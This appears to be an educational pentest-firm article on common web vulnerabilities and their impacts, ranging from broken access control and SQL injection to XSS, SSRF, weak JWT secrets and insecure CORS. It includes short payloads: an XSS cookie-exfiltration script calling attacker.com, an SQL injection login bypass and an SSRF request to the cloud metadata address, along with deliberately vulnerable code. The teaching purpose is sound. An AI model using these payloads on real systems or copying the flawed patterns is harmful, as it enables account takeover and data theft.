The Most Exploited Web Vulnerabilities in Companies and How Pentests Find Them

The Most Exploited Vulnerabilities in Web Applications

1. Broken Access Control

Broken Access Control remains one of the most critical vulnerabilities found in modern web applications.

The problem occurs when the application fails to properly check whether the authenticated user actually has permission to access a given resource.

In many cases, simply changing predictable identifiers in the request is enough to access other users' data.

Practical example

GET /api/orders/10452 HTTP/1.1
Host: app.company.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
    

If the API only checks that the user is authenticated, but does not validate ownership of the order, the attacker can simply change the ID:

GET /api/orders/10453 HTTP/1.1
Host: app.company.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
    

In many pentests, this type of flaw leads to:

• Exposure of financial data
• Unauthorized cross-account access
• Leakage of personal information
• Multi-tenant compromise
• LGPD violations

---

2. SQL Injection

SQL Injection remains one of the most dangerous vulnerabilities when it is exploitable.

It occurs when user-controlled input is concatenated directly into SQL queries without proper handling.

Vulnerable example

const query = `
SELECT * FROM users
WHERE email = '${email}'
AND password = '${password}'
`;
    

An attacker can send:

POST /login HTTP/1.1
Content-Type: application/json

{
    "email": "[email protected]' OR '1'='1",
    "password": "test"
}
    

Depending on the implementation, this can completely change the logic of the SQL query.

Possible impacts

• Authentication bypass
• Full database extraction
• Credential exposure
• Command execution on the server
• Complete compromise of the application

---

3. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) allows attackers to execute malicious JavaScript in other users' browsers.

The vulnerability usually happens when user-controlled input is rendered without proper sanitization.

Practical example

GET /search?q=<script>
fetch('https://attacker.com/'+document.cookie)
</script>
    

If the application reflects the parameter directly on the page, the victim's browser will execute the JavaScript code sent by the attacker.

Common impacts

• Session theft
• JWT token capture
• Execution of actions on behalf of the victim
• Internal phishing
• Compromise of administrative accounts

In modern applications, XSS still frequently appears in:

• Insecure HTML rendering
• Third-party components
• Markdown parsers
• File uploads
• Rich content fields

---

4. SSRF (Server-Side Request Forgery)

SSRF lets the attacker make the application perform internal requests under the attacker's control.

This type of vulnerability has become even more critical in modern cloud environments.

Vulnerable example

POST /api/fetch-image HTTP/1.1
Content-Type: application/json

{
    "url": "http://169.254.169.254/latest/meta-data/"
}
    

If the application fetches external URLs without proper validation, the attacker can force requests to internal services that are not reachable from outside.

Possible impacts

• Exposure of cloud credentials
• Access to internal services
• Infrastructure enumeration
• Internal pivoting
• Partial compromise of the environment

---

5. Authentication Flaws

Authentication-related problems remain extremely common in modern applications.

Insecure example

jwt.sign(payload, "123456", {
    expiresIn: "365d"
});
    

In this scenario:

• The JWT secret is weak
• The token has an excessive lifetime
• There is no proper rotation

In real pentests, this frequently results in:

• Session hijacking
• Unintended persistence
• Partial authentication bypass
• Compromise of privileged accounts

---

6. Security Misconfiguration

Insecure configurations continue to be responsible for many real-world incidents.

Common problems found

• Exposed administrative panels
• Debug mode enabled in production
• Insecure CORS
• Missing headers
• Public buckets
• Exposed Swagger/OpenAPI

Common example

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
    

Incorrect CORS configurations can allow dangerous cross-origin requests depending on the application context.

Why Do These Vulnerabilities Keep Showing Up?

Despite the evolution of modern technologies, many problems keep happening because of factors such as:

• Pressure to ship fast
• Lack of manual security validation
• Over-reliance on automated scanners
• Complex distributed architectures
• Insecure integrations between systems
• Absence of a Secure SDLC

How Companies Reduce These Risks

Mature companies usually combine different approaches to reduce exposure:

• Recurring pentests
• Security-focused code review
• Threat Modeling
• Secure coding training for developers
• DevSecOps
• Continuous monitoring

Conclusion

The most dangerous vulnerabilities today are not necessarily the most sophisticated ones.

In many cases, critical flaws keep happening because of basic mistakes in authentication, authorization, and input validation.

Modern pentests go far beyond automated scanners, focusing on manual validation, controlled exploitation, and the identification of real, exploitable risks.